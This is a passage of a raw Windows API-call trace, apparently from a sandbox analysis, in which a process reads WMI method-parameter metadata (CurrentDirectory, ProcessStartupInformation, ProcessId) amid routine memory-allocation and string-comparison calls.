pVal=0x12f1b4*(varType=0x200d, wReserved1=0xe5, wReserved2=0x24, wReserved3=0x0, varVal1=0x637868*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x647228, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x12f214), pType=0x0, plFlavor=0x0) returned 0x0 [0100.871] free (_Block=0x9625c8) [0100.871] SafeArrayGetLBound (in: psa=0x637868, nDim=0x1, plLbound=0x12f1f0 | out: plLbound=0x12f1f0) returned 0x0 [0100.871] SafeArrayGetUBound (in: psa=0x637868, nDim=0x1, plUbound=0x12f1dc | out: plUbound=0x12f1dc) returned 0x0 [0100.871] SafeArrayGetElement (in: psa=0x637868, rgIndices=0x12f218, pv=0x12f228 | out: pv=0x12f228) returned 0x0 [0100.871] malloc (_Size=0xc) returned 0x9625c8 [0100.872] IWbemClassObject:Get (in: This=0xa9ddb8, wszName="Name", lFlags=0, pVal=0x12f1c4*(varType=0x0, wReserved1=0x96, wReserved2=0xf1fc, wReserved3=0x12, varVal1=0xe57e52, varVal2=0x1), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1c4*(varType=0x8, wReserved1=0x96, wReserved2=0xf1fc, wReserved3=0x12, varVal1="In", varVal2=0x1), pType=0x0, plFlavor=0x0) returned 0x0 [0100.872] free (_Block=0x9625c8) [0100.872] malloc (_Size=0xc) returned 0x9625c8 [0100.872] IWbemClassObject:Get (in: This=0xa9ddb8, wszName="QualifierValue", lFlags=0, pVal=0x12f1a4*(varType=0x0, wReserved1=0x96, wReserved2=0x0, wReserved3=0x0, varVal1=0xa9c006, varVal2=0x12f1c8), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1a4*(varType=0x2008, wReserved1=0x96, wReserved2=0x0, wReserved3=0x0, varVal1=0x637898*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x647118, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x12f1c8), pType=0x0, plFlavor=0x0) returned 0x0 [0100.872] free (_Block=0x9625c8) [0100.872] SafeArrayGetLBound (in: psa=0x637898, nDim=0x1, plLbound=0x12f1f8 | out: plLbound=0x12f1f8) returned 0x0 [0100.872] SafeArrayGetUBound (in: psa=0x637898, nDim=0x1, plUbound=0x12f1e8 | out: plUbound=0x12f1e8) returned 0x0 [0100.872] lstrlenW (lpString="CIMTYPE") returned 7 [0100.872] lstrlenW (lpString="In") returned 2 [0100.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0100.872] lstrlenW (lpString="read") returned 4 [0100.872] lstrlenW (lpString="In") returned 2 [0100.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0100.872] lstrlenW (lpString="write") returned 5 [0100.872] lstrlenW (lpString="In") returned 2 [0100.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0100.872] lstrlenW (lpString="In") returned 2 [0100.872] lstrlenW (lpString="In") returned 2 [0100.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0100.872] SafeArrayGetElement (in: psa=0x637898, rgIndices=0x12f21c, pv=0x12f250 | out: pv=0x12f250) returned 0x0 [0100.872] malloc (_Size=0xc) returned 0x9625c8 [0100.872] malloc (_Size=0x4) returned 0x962930 [0100.872] lstrlenW (lpString="true") returned 4 [0100.872] lstrlenW (lpString="True") returned 4 [0100.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0100.872] malloc (_Size=0xc) returned 0x962568 [0100.872] malloc (_Size=0x4) returned 0x1b2c48 [0100.872] malloc (_Size=0x24) returned 0x962ac8 [0100.873] malloc (_Size=0x4) returned 0x1b2c58 [0100.873] free (_Block=0x1b2c48) [0100.873] IUnknown:Release (This=0xa9ddb8) returned 0x1 [0100.873] free (_Block=0x962930) [0100.873] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.873] malloc (_Size=0xc) returned 0x962598 [0100.873] malloc (_Size=0xc) returned 0x9625b0 [0100.873] malloc (_Size=0x24) returned 0x962af8 [0100.873] malloc (_Size=0x24) returned 0x962b28 [0100.873] malloc (_Size=0x4) returned 0x1b2c48 [0100.873] malloc (_Size=0x38) returned 0x962b58 [0100.873] malloc (_Size=0x24) returned 0x962b98 [0100.873] malloc (_Size=0x24) returned 0x962bc8 [0100.873] malloc (_Size=0x4) returned 0x962930 [0100.873] free (_Block=0x1b2c48) [0100.873] free (_Block=0x962b28) [0100.873] free (_Block=0x962af8) [0100.873] free (_Block=0x1b2c58) [0100.873] free (_Block=0x962ac8) [0100.874] free (_Block=0x962a98) [0100.874] IUnknown:Release (This=0xa9c490) returned 0x1 [0100.874] SafeArrayGetElement (in: psa=0x637838, rgIndices=0x12f3b8, pv=0x12f3c8 | out: pv=0x12f3c8) returned 0x0 [0100.874] malloc (_Size=0xc) returned 0x9625e0 [0100.874] IWbemClassObject:Get (in: This=0xa9cd88, wszName="ParaId", lFlags=0, pVal=0x12f2f0*(varType=0x0, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1=0x653fd4, varVal2=0x73699b08), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2f0*(varType=0x8, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentDirectory", varVal2=0x73699b08), pType=0x0, plFlavor=0x0) returned 0x0 [0100.874] free (_Block=0x9625e0) [0100.874] malloc (_Size=0xc) returned 0x9625e0 [0100.874] IWbemClassObject:Get (in: This=0xa9cd88, wszName="Type", lFlags=0, pVal=0x12f2d0*(varType=0x0, wReserved1=0xa9, wReserved2=0xf2e4, wReserved3=0x12, varVal1=0x63f8a4, varVal2=0x4), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2d0*(varType=0x8, wReserved1=0xa9, wReserved2=0xf2e4, wReserved3=0x12, varVal1="STRING", varVal2=0x4), pType=0x0, plFlavor=0x0) returned 0x0 [0100.874] free (_Block=0x9625e0) [0100.874] malloc (_Size=0xc) returned 0x9625e0 [0100.874] IWbemClassObject:Get (in: This=0xa9cd88, wszName="Default", lFlags=0, pVal=0x12f310*(varType=0x0, wReserved1=0xa6, wReserved2=0x8, wReserved3=0x0, varVal1=0xa60808, varVal2=0x12f40c), pType=0x0, plFlavor=0x0 | out: pVal=0x12f310*(varType=0x1, wReserved1=0xa6, wReserved2=0x8, wReserved3=0x0, varVal1=0xa60808, varVal2=0x12f40c), pType=0x0, plFlavor=0x0) returned 0x0 [0100.875] free (_Block=0x9625e0) [0100.875] malloc (_Size=0x24) returned 0x962a98 [0100.875] GetCurrentThreadId () returned 0x1040 [0100.875] ??0CHString@@QAE@XZ () returned 0x12f230 [0100.875] malloc (_Size=0xc) returned 0x9625e0 [0100.875] IWbemClassObject:Get (in: This=0xa9cd88, wszName="Qualifiers", lFlags=0, pVal=0x12f1b4*(varType=0x0, wReserved1=0xe5, wReserved2=0x24, wReserved3=0x0, varVal1=0xa9c6a6, varVal2=0x12f214), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1b4*(varType=0x200d, wReserved1=0xe5, wReserved2=0x24, wReserved3=0x0, varVal1=0x637868*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x647228, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x12f214), pType=0x0, plFlavor=0x0) returned 0x0 [0100.875] free (_Block=0x9625e0) [0100.875] SafeArrayGetLBound (in: psa=0x637868, nDim=0x1, plLbound=0x12f1f0 | out: plLbound=0x12f1f0) returned 0x0 [0100.875] SafeArrayGetUBound (in: psa=0x637868, nDim=0x1, plUbound=0x12f1dc | out: plUbound=0x12f1dc) returned 0x0 [0100.875] SafeArrayGetElement (in: psa=0x637868, rgIndices=0x12f218, pv=0x12f228 | out: pv=0x12f228) returned 0x0 [0100.875] malloc (_Size=0xc) returned 0x9625e0 [0100.875] IWbemClassObject:Get (in: This=0xa9ddb8, wszName="Name", lFlags=0, pVal=0x12f1c4*(varType=0x0, wReserved1=0x96, wReserved2=0xf1fc, wReserved3=0x12, varVal1=0xe57e52, varVal2=0x1), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1c4*(varType=0x8, wReserved1=0x96, wReserved2=0xf1fc, wReserved3=0x12, varVal1="In", varVal2=0x1), pType=0x0, plFlavor=0x0) returned 0x0 [0100.875] free (_Block=0x9625e0) [0100.875] malloc (_Size=0xc) returned 0x9625e0 [0100.875] IWbemClassObject:Get (in: This=0xa9ddb8, wszName="QualifierValue", lFlags=0, pVal=0x12f1a4*(varType=0x0, wReserved1=0x96, wReserved2=0x0, wReserved3=0x0, varVal1=0xa9c6a6, varVal2=0x12f1c8), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1a4*(varType=0x2008, wReserved1=0x96, wReserved2=0x0, wReserved3=0x0, varVal1=0x637898*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x647118, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x12f1c8), pType=0x0, plFlavor=0x0) returned 0x0 [0100.875] free (_Block=0x9625e0) [0100.875] SafeArrayGetLBound (in: psa=0x637898, nDim=0x1, plLbound=0x12f1f8 | out: plLbound=0x12f1f8) returned 0x0 [0100.875] SafeArrayGetUBound (in: psa=0x637898, nDim=0x1, plUbound=0x12f1e8 | out: plUbound=0x12f1e8) returned 0x0 [0100.875] lstrlenW (lpString="CIMTYPE") returned 7 [0100.875] lstrlenW (lpString="In") returned 2 [0100.875] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0100.875] lstrlenW (lpString="read") returned 4 [0100.875] lstrlenW (lpString="In") returned 2 [0100.875] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0100.876] lstrlenW (lpString="write") returned 5 [0100.876] lstrlenW (lpString="In") returned 2 [0100.876] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0100.876] lstrlenW (lpString="In") returned 2 [0100.876] lstrlenW (lpString="In") returned 2 [0100.876] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0100.876] SafeArrayGetElement (in: psa=0x637898, rgIndices=0x12f21c, pv=0x12f250 | out: pv=0x12f250) returned 0x0 [0100.876] malloc (_Size=0xc) returned 0x9625e0 [0100.876] malloc (_Size=0x4) returned 0x1b2c48 [0100.876] lstrlenW (lpString="true") returned 4 [0100.876] lstrlenW (lpString="True") returned 4 [0100.876] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0100.876] malloc (_Size=0xc) returned 0x9625f8 [0100.876] malloc (_Size=0x4) returned 0x1b2c58 [0100.876] malloc (_Size=0x24) returned 0x962ac8 [0100.876] malloc (_Size=0x4) returned 0x1b2cb0 [0100.876] free (_Block=0x1b2c58) [0100.876] IUnknown:Release (This=0xa9ddb8) returned 0x1 [0100.876] free (_Block=0x1b2c48) [0100.876] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.876] malloc (_Size=0xc) returned 0x962610 [0100.876] malloc (_Size=0xc) returned 0x962628 [0100.876] malloc (_Size=0x24) returned 0x962af8 [0100.876] malloc (_Size=0x24) returned 0x962b28 [0100.877] malloc (_Size=0x4) returned 0x1b2cc0 [0100.877] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0100.877] SysStringLen (param_1="CommandLine") returned 0xb [0100.877] SysStringLen (param_1="CommandLine") returned 0xb [0100.877] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0100.877] malloc (_Size=0x38) returned 0x962bf8 [0100.877] malloc (_Size=0x24) returned 0x962c38 [0100.877] malloc (_Size=0x24) returned 0x962c68 [0100.877] malloc (_Size=0x4) returned 0x1b2c48 [0100.877] free (_Block=0x1b2cc0) [0100.877] free (_Block=0x962b28) [0100.877] free (_Block=0x962af8) [0100.877] free (_Block=0x1b2cb0) [0100.877] free (_Block=0x962ac8) [0100.877] free (_Block=0x962a98) [0100.877] IUnknown:Release (This=0xa9cd88) returned 0x1 [0100.877] SafeArrayGetElement (in: psa=0x637838, rgIndices=0x12f3b8, pv=0x12f3c8 | out: pv=0x12f3c8) returned 0x0 [0100.877] malloc (_Size=0xc) returned 0x962640 [0100.877] IWbemClassObject:Get (in: This=0xa9d458, wszName="ParaId", lFlags=0, pVal=0x12f2f0*(varType=0x0, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1=0x64155c, varVal2=0x73699b08), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2f0*(varType=0x8, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessStartupInformation", varVal2=0x73699b08), pType=0x0, plFlavor=0x0) returned 0x0 [0100.877] free (_Block=0x962640) [0100.877] malloc (_Size=0xc) returned 0x962640 [0100.877] IWbemClassObject:Get (in: This=0xa9d458, wszName="Type", lFlags=0, pVal=0x12f2d0*(varType=0x0, wReserved1=0xa9, wReserved2=0xf2e4, wReserved3=0x12, varVal1=0x63f8a4, varVal2=0x4), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2d0*(varType=0x8, wReserved1=0xa9, wReserved2=0xf2e4, wReserved3=0x12, varVal1="OBJECT", varVal2=0x4), pType=0x0, plFlavor=0x0) returned 0x0 [0100.877] free (_Block=0x962640) [0100.877] malloc (_Size=0xc) returned 0x962640 [0100.878] IWbemClassObject:Get (in: This=0xa9d458, wszName="Default", lFlags=0, pVal=0x12f310*(varType=0x0, wReserved1=0xa6, wReserved2=0x8, wReserved3=0x0, varVal1=0xa60808, varVal2=0x12f40c), pType=0x0, plFlavor=0x0 | out: pVal=0x12f310*(varType=0x1, wReserved1=0xa6, wReserved2=0x8, wReserved3=0x0, varVal1=0xa60808, varVal2=0x12f40c), pType=0x0, plFlavor=0x0) returned 0x0 [0100.878] free (_Block=0x962640) [0100.878] malloc (_Size=0x24) returned 0x962a98 [0100.878] GetCurrentThreadId () returned 0x1040 [0100.878] ??0CHString@@QAE@XZ () returned 0x12f230 [0100.878] malloc (_Size=0xc) returned 0x962640 [0100.878] IWbemClassObject:Get (in: This=0xa9d458, wszName="Qualifiers", lFlags=0, pVal=0x12f1b4*(varType=0x0, wReserved1=0xe5, wReserved2=0x24, wReserved3=0x0, varVal1=0xa9cf9e, varVal2=0x12f214), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1b4*(varType=0x200d, wReserved1=0xe5, wReserved2=0x24, wReserved3=0x0, varVal1=0x637868*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x647228, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x12f214), pType=0x0, plFlavor=0x0) returned 0x0 [0100.878] free (_Block=0x962640) [0100.878] SafeArrayGetLBound (in: psa=0x637868, nDim=0x1, plLbound=0x12f1f0 | out: plLbound=0x12f1f0) returned 0x0 [0100.878] SafeArrayGetUBound (in: psa=0x637868, nDim=0x1, plUbound=0x12f1dc | out: plUbound=0x12f1dc) returned 0x0 [0100.878] SafeArrayGetElement (in: psa=0x637868, rgIndices=0x12f218, pv=0x12f228 | out: pv=0x12f228) returned 0x0 [0100.878] malloc (_Size=0xc) returned 0x962640 [0100.878] IWbemClassObject:Get (in: This=0xa9ddb8, wszName="Name", lFlags=0, pVal=0x12f1c4*(varType=0x0, wReserved1=0x96, wReserved2=0xf1fc, wReserved3=0x12, varVal1=0xe57e52, varVal2=0x1), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1c4*(varType=0x8, wReserved1=0x96, wReserved2=0xf1fc, wReserved3=0x12, varVal1="In", varVal2=0x1), pType=0x0, plFlavor=0x0) returned 0x0 [0100.878] free (_Block=0x962640) [0100.878] malloc (_Size=0xc) returned 0x962640 [0100.878] IWbemClassObject:Get (in: This=0xa9ddb8, wszName="QualifierValue", lFlags=0, pVal=0x12f1a4*(varType=0x0, wReserved1=0x96, wReserved2=0x0, wReserved3=0x0, varVal1=0xa9cf9e, varVal2=0x12f1c8), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1a4*(varType=0x2008, wReserved1=0x96, wReserved2=0x0, wReserved3=0x0, varVal1=0x637898*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x647118, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x12f1c8), pType=0x0, plFlavor=0x0) returned 0x0 [0100.878] free (_Block=0x962640) [0100.878] SafeArrayGetLBound (in: psa=0x637898, nDim=0x1, plLbound=0x12f1f8 | out: plLbound=0x12f1f8) returned 0x0 [0100.878] SafeArrayGetUBound (in: psa=0x637898, nDim=0x1, plUbound=0x12f1e8 | out: plUbound=0x12f1e8) returned 0x0 [0100.878] lstrlenW (lpString="CIMTYPE") returned 7 [0100.878] lstrlenW (lpString="In") returned 2 [0100.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0100.878] lstrlenW (lpString="read") returned 4 [0100.878] lstrlenW (lpString="In") returned 2 [0100.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0100.878] lstrlenW (lpString="write") returned 5 [0100.878] lstrlenW (lpString="In") returned 2 [0100.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0100.879] lstrlenW (lpString="In") returned 2 [0100.879] lstrlenW (lpString="In") returned 2 [0100.879] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0100.879] SafeArrayGetElement (in: psa=0x637898, rgIndices=0x12f21c, pv=0x12f250 | out: pv=0x12f250) returned 0x0 [0100.879] malloc (_Size=0xc) returned 0x962640 [0100.879] malloc (_Size=0x4) returned 0x1b2c58 [0100.879] lstrlenW (lpString="true") returned 4 [0100.879] lstrlenW (lpString="True") returned 4 [0100.879] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0100.879] malloc (_Size=0xc) returned 0x962658 [0100.879] malloc (_Size=0x4) returned 0x1b2cb0 [0100.879] malloc (_Size=0x24) returned 0x962ac8 [0100.879] malloc (_Size=0x4) returned 0x1b2cc0 [0100.879] free (_Block=0x1b2cb0) [0100.879] IUnknown:Release (This=0xa9ddb8) returned 0x1 [0100.879] free (_Block=0x1b2c58) [0100.879] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.879] malloc (_Size=0xc) returned 0x962670 [0100.879] malloc (_Size=0xc) returned 0x962688 [0100.879] malloc (_Size=0x24) returned 0x962af8 [0100.879] malloc (_Size=0x24) returned 0x962b28 [0100.879] malloc (_Size=0x4) returned 0x1b2c58 [0100.880] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0100.880] SysStringLen (param_1="CommandLine") returned 0xb [0100.880] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0100.880] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0100.880] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0100.880] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0100.880] malloc (_Size=0x38) returned 0x962c98 [0100.880] malloc (_Size=0x24) returned 0x962cd8 [0100.880] malloc (_Size=0x24) returned 0x962d08 [0100.880] malloc (_Size=0x4) returned 0x1b2cb0 [0100.880] free (_Block=0x1b2c58) [0100.880] free (_Block=0x962b28) [0100.880] free (_Block=0x962af8) [0100.880] free (_Block=0x1b2cc0) [0100.880] free (_Block=0x962ac8) [0100.880] free (_Block=0x962a98) [0100.880] IUnknown:Release (This=0xa9d458) returned 0x1 [0100.880] SafeArrayGetElement (in: psa=0x637838, rgIndices=0x12f3b8, pv=0x12f3c8 | out: pv=0x12f3c8) returned 0x0 [0100.880] malloc (_Size=0xc) returned 0x9626a0 [0100.880] IWbemClassObject:Get (in: This=0xa9db00, wszName="ParaId", lFlags=0, pVal=0x12f2f0*(varType=0x0, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1=0x6046c4, varVal2=0x73699b08), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2f0*(varType=0x8, wReserved1=0xa6, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessId", varVal2=0x73699b08), pType=0x0, plFlavor=0x0) returned 0x0 [0100.880] free (_Block=0x9626a0) [0100.880] malloc (_Size=0xc) returned 0x9626a0 [0100.880] IWbemClassObject:Get (in: This=0xa9db00, wszName="Type", lFlags=0, pVal=0x12f2d0*(varType=0x0, wReserved1=0xa9, wReserved2=0xf2e4, wReserved3=0x12, varVal1=0x654fc4, varVal2=0x4), pType=0x0, plFlavor=0x0 | out: pVal=0x12f2d0*(varType=0x8, wReserved1=0xa9, wReserved2=0xf2e4, wReserved3=0x12, varVal1="UINT32", varVal2=0x4), pType=0x0, plFlavor=0x0) returned 0x0 [0100.880] free (_Block=0x9626a0) [0100.880] malloc (_Size=0xc) returned 0x9626a0 [0100.880] IWbemClassObject:Get (in: This=0xa9db00, wszName="Default", lFlags=0, pVal=0x12f310*(varType=0x0, wReserved1=0xa6, wReserved2=0x8, wReserved3=0x0, varVal1=0xa60808, varVal2=0x12f40c), pType=0x0, plFlavor=0x0 | out: pVal=0x12f310*(varType=0x1, wReserved1=0xa6, wReserved2=0x8, wReserved3=0x0, varVal1=0xa60808, varVal2=0x12f40c), pType=0x0, plFlavor=0x0) returned 0x0 [0100.881] free (_Block=0x9626a0) [0100.881] malloc (_Size=0x24) returned 0x962a98 [0100.881] GetCurrentThreadId () returned 0x1040 [0100.881] ??0CHString@@QAE@XZ () returned 0x12f230 [0100.881] malloc (_Size=0xc) returned 0x9626a0 [0100.881] IWbemClassObject:Get (in: This=0xa9db00, wszName="Qualifiers", lFlags=0, pVal=0x12f1b4*(varType=0x0, wReserved1=0xe5, wReserved2=0x24, wReserved3=0x0, varVal1=0xa9d66e, varVal2=0x12f214), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1b4*(varType=0x200d, wReserved1=0xe5, wReserved2=0x24, wReserved3=0x0, varVal1=0x637868*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x647228, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x12f214), pType=0x0, plFlavor=0x0) returned 0x0 [0100.881] free (_Block=0x9626a0) [0100.881] SafeArrayGetLBound (in: psa=0x637868, nDim=0x1, plLbound=0x12f1f0 | out: plLbound=0x12f1f0) returned 0x0 [0100.881] SafeArrayGetUBound (in: psa=0x637868, nDim=0x1, plUbound=0x12f1dc | out: plUbound=0x12f1dc) returned 0x0 [0100.881] SafeArrayGetElement (in: psa=0x637868, rgIndices=0x12f218, pv=0x12f228 | out: pv=0x12f228) returned 0x0 [0100.881] malloc (_Size=0xc) returned 0x9626a0 [0100.881] IWbemClassObject:Get (in: This=0xa9ddb8, wszName="Name", lFlags=0, pVal=0x12f1c4*(varType=0x0, wReserved1=0x96, wReserved2=0xf1fc, wReserved3=0x12, varVal1=0xe57e52, varVal2=0x1), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1c4*(varType=0x8, wReserved1=0x96, wReserved2=0xf1fc, wReserved3=0x12, varVal1="Out", varVal2=0x1), pType=0x0, plFlavor=0x0) returned 0x0 [0100.881] free (_Block=0x9626a0) [0100.881] malloc (_Size=0xc) returned 0x9626a0 [0100.881] IWbemClassObject:Get (in: This=0xa9ddb8, wszName="QualifierValue", lFlags=0, pVal=0x12f1a4*(varType=0x0, wReserved1=0x96, wReserved2=0x0, wReserved3=0x0, varVal1=0xa9d66e, varVal2=0x12f1c8), pType=0x0, plFlavor=0x0 | out: pVal=0x12f1a4*(varType=0x2008, wReserved1=0x96, wReserved2=0x0, wReserved3=0x0, varVal1=0x637898*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x647118, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x12f1c8), pType=0x0, plFlavor=0x0) returned 0x0 [0100.881] free (_Block=0x9626a0) [0100.881] SafeArrayGetLBound (in: psa=0x637898, nDim=0x1, plLbound=0x12f1f8 | out: plLbound=0x12f1f8) returned 0x0 [0100.881] SafeArrayGetUBound (in: psa=0x637898, nDim=0x1, plUbound=0x12f1e8 | out: plUbound=0x12f1e8) returned 0x0 [0100.881] lstrlenW (lpString="CIMTYPE") returned 7 [0100.881] lstrlenW (lpString="Out") returned 3 [0100.881] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="CIMTYPE", cchCount2=7) returned 3 [0100.881] lstrlenW (lpString="read") returned 4 [0100.881] lstrlenW (lpString="Out") returned 3 [0100.881] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="read", cchCount2=4) returned 1 [0100.881] lstrlenW (lpString="write") returned 5 [0100.881] lstrlenW (lpString="Out") returned 3 [0100.881] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="write", cchCount2=5) returned 1 [0100.881] lstrlenW (lpString="In") returned 2 [0100.881] lstrlenW (lpString="Out") returned 3 [0100.881] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="In", cchCount2=2) returned 3 [0100.881] lstrlenW (lpString="Out") returned 3 [0100.882] lstrlenW (lpString="Out") returned 3 [0100.882] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="Out", cchCount2=3) returned 2 [0100.882] SafeArrayGetElement (in: psa=0x637898, rgIndices=0x12f21c, pv=0x12f250 | out: pv=0x12f250) returned 0x0 [0100.882] malloc (_Size=0xc) returned 0x9626a0 [0100.882] malloc (_Size=0x4) returned 0x1b2cc0 [0100.882] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0100.882] malloc (_Size=0xc) returned 0x9626b8 [0100.882] malloc (_Size=0x4) returned 0x1b2c58 [0100.882] malloc (_Size=0x24) returned 0x962ac8 [0100.882] malloc (_Size=0x4) returned 0x1bffc8 [0100.882] free (_Block=0x1b2c58) [0100.882] IUnknown:Release (This=0xa9ddb8) returned 0x1 [0100.882] free (_Block=0x1b2cc0) [0100.882] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.882] malloc (_Size=0xc) returned 0x9626d0 [0100.882] malloc (_Size=0xc) returned 0x9626e8 [0100.882] malloc (_Size=0x24) returned 0x962af8 [0100.882] malloc (_Size=0x24) returned 0x962b28 [0100.882] malloc (_Size=0x4) returned 0x1b2cc0 [0100.882] SysStringLen (param_1="ProcessId") returned 0x9 [0100.882] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0100.882] SysStringLen (param_1="ProcessId") returned 0x9 [0100.882] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0100.882] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0100.882] SysStringLen (param_1="ProcessId") returned 0x9 [0100.883] malloc (_Size=0x38) returned 0x962d38 [0100.883] malloc (_Size=0x24) returned 0x962d78 [0100.883] malloc (_Size=0x24) returned 0x962da8 [0100.883] malloc (_Size=0x4) returned 0x1b2c58 [0100.883] free (_Block=0x1b2cc0) [0100.883] free (_Block=0x962b28) [0100.883] free (_Block=0x962af8) [0100.883] free (_Block=0x1bffc8) [0100.883] free (_Block=0x962ac8) [0100.883] free (_Block=0x962a98) [0100.883] IUnknown:Release (This=0xa9db00) returned 0x1 [0100.883] malloc (_Size=0x38) returned 0x962a98 [0100.883] malloc (_Size=0x38) returned 0x962ad8 [0100.883] malloc (_Size=0x24) returned 0x962b18 [0100.883] malloc (_Size=0x24) returned 0x962dd8 [0100.883] malloc (_Size=0x4) returned 0x962b48 [0100.883] malloc (_Size=0x38) returned 0x962e08 [0100.883] malloc (_Size=0x24) returned 0x962e48 [0100.883] malloc (_Size=0x24) returned 0x962e78 [0100.883] malloc (_Size=0x4) returned 0x1b2cc0 [0100.883] malloc (_Size=0x38) returned 0x962ea8 [0100.883] malloc (_Size=0x24) returned 0x962ee8 [0100.883] malloc (_Size=0x24) returned 0x962f30 [0100.884] malloc (_Size=0x4) returned 0x1bffc8 [0100.884] malloc (_Size=0x38) returned 0x963718 [0100.884] malloc (_Size=0x24) returned 0x962f60 [0100.884] malloc (_Size=0x24) returned 0x962f90 [0100.884] malloc (_Size=0x4) returned 0x1bffd8 [0100.884] malloc (_Size=0xc) returned 0x962700 [0100.884] malloc (_Size=0x38) returned 0x963758 [0100.884] malloc (_Size=0x38) returned 0x963798 [0100.884] malloc (_Size=0x24) returned 0x962fc0 [0100.884] malloc (_Size=0x24) returned 0x962ff0 [0100.884] malloc (_Size=0x4) returned 0x9637d8 [0100.884] malloc (_Size=0x38) returned 0x9637e8 [0100.884] malloc (_Size=0x24) returned 0x963020 [0100.884] malloc (_Size=0x24) returned 0x963050 [0100.884] malloc (_Size=0x4) returned 0x963828 [0100.884] malloc (_Size=0x38) returned 0x963838 [0100.884] malloc (_Size=0x24) returned 0x963080 [0100.884] malloc (_Size=0x24) returned 0x9630b0 [0100.884] malloc (_Size=0x4) 